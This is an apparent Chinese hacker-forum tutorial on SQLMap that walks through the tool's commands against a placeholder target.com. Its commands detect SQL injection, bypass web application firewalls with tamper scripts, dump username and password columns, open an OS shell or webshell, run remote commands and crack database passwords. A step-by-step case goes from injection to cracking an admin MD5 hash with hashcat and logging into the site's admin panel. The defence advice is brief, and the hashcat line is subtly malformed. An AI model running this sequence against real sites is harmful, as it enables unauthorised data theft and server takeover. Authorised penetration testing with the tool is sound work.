[工具使用] SQLMap 终极指南:一行命令,轻松拿下数据库!

105 0
Honkers 前天 12:16 来自手机 | 显示全部楼层 |阅读模式

SQLMap 终极指南:一行命令,轻松拿下数据库!

💡 SQL 注入太复杂?手工测试太麻烦?
🔥 神兵利器 SQLMap,自动化检测 + 爆破数据,黑客与安全工程师的必备神器! 🔥

今天带你全面掌握 SQLMap,从基础到实战,看完就能上手!💪


💡 1. 什么是 SQLMap?

SQLMap 是一款开源的 自动化 SQL 注入检测和利用工具,能帮助安全测试人员轻松挖掘数据库漏洞,甚至直接 提取数据、控制数据库、远程执行命令!

✅ 自动检测 SQL 注入漏洞
✅ 支持多种数据库(MySQL、PostgreSQL、SQL Server、Oracle...)
✅ 可绕过 Web 应用防火墙(WAF)
✅ 支持 GET、POST、Cookie 等多种注入方式
✅ 可直接爆破数据库中的账号、密码、敏感信息

📌 安装 SQLMap

  1. # Kali Linux / Parrot OS 已预装,无需安装
  2. # 其他 Linux / macOS / Windows
  3. git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
  4. cd sqlmap
  5. python3 sqlmap.py --help
复制代码

📌 查看 SQLMap 版本

  1. python3 sqlmap.py -v
复制代码

🔥 2. SQLMap 基础命令

📌 自动检测 SQL 注入

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --batch
复制代码

💡 SQLMap 会自动检测 SQL 注入点,并列出可利用的注入方式。

📌 指定 HTTP 请求方法(测试 POST 注入)

  1. python3 sqlmap.py -u "http://target.com/index.php" --data "id=1" --batch
复制代码

📌 测试 Cookie 注入

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --cookie="PHPSESSID=abcd1234" --batch
复制代码

📌 绕过 WAF 防火墙

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --random-agent --tamper=space2comment
复制代码

💡 --random-agent 伪装浏览器身份,--tamper 通过变形 SQL 语句绕过安全防护。


🎯 3. SQLMap 数据库信息获取

📌 获取所有数据库

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --dbs
复制代码

📌 获取当前数据库

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --current-db
复制代码

📌 列出数据库中的表

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" -D target_db --tables
复制代码

📌 查看表结构

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" -D target_db -T users --columns
复制代码

📌 爆破数据库数据

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" -D target_db -T users -C username,password --dump
复制代码

💡 直接提取 username 和 password 字段的数据,轻松获取账号信息!

📌 获取数据库用户

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --current-user
复制代码

📌 获取数据库管理员权限

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --is-dba
复制代码

💡 如果返回 True,说明当前用户具有数据库管理员权限,可以进行更高级的攻击!


💀 4. SQLMap 高级玩法

📌 上传 Webshell(获取服务器权限)

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --os-shell
复制代码

💡 如果数据库用户具有 FILE 权限,SQLMap 可以直接上传 Webshell,远程控制服务器!

📌 获取服务器信息

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --os-info
复制代码

📌 执行远程系统命令

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --os-cmd "whoami"
复制代码

💡 如果数据库用户有 xp_cmdshell(Windows)或 sys_exec()(Linux)权限,可以直接执行远程命令!

📌 暴力破解数据库密码

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --passwords
复制代码

💡 SQLMap 可以自动爆破数据库用户密码!


📖 5. 实战案例:从 0 到数据库管理员

💡 假设我们发现目标网站 http://target.com/index.php?id=1 存在 SQL 注入,我们该如何利用?

第一步:检测 SQL 注入

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --batch
复制代码

🔹 SQLMap 发现 id 参数存在 SQL 注入漏洞!

第二步:获取数据库信息

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" --dbs
复制代码

🔹 发现数据库 target_db

第三步:获取 users 表中的用户名和密码

  1. python3 sqlmap.py -u "http://target.com/index.php?id=1" -D target_db -T users --dump
复制代码

🔹 获取到管理员账号 admin 和哈希密码 5f4dcc3b5aa765d61d8327deb882cf99

第四步:破解哈希密码

  1. echo "5f4dcc3b5aa765d61d8327deb882cf99" | hashcat -m 0 -a 3 rockyou.txt
复制代码

🔹 破解成功,密码是 password!

第五步:登录后台,获取更多权限!

🔹 使用 admin:password 登录后台,进一步利用服务器!


🛡️ 6. 如何防御 SQL 注入?

✅ 使用预编译 SQL 语句(Prepared Statements)
✅ 对所有输入进行过滤,禁止特殊字符
✅ 最小化数据库权限,避免 root 账户运行 Web 服务
✅ 使用 Web 应用防火墙(WAF),拦截 SQL 注入攻击
✅ 定期安全检测,修复 SQL 注入漏洞


🚀 7. 终极总结

🔥 SQLMap 是最强大的 SQL 注入工具,自动化检测 + 数据提取,秒破数据库!
🔥 支持绕过 WAF、上传 Webshell、远程命令执行,功能超强大!
🔥 防御 SQL 注入是安全运维的必修课,学会防御,避免被黑!

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行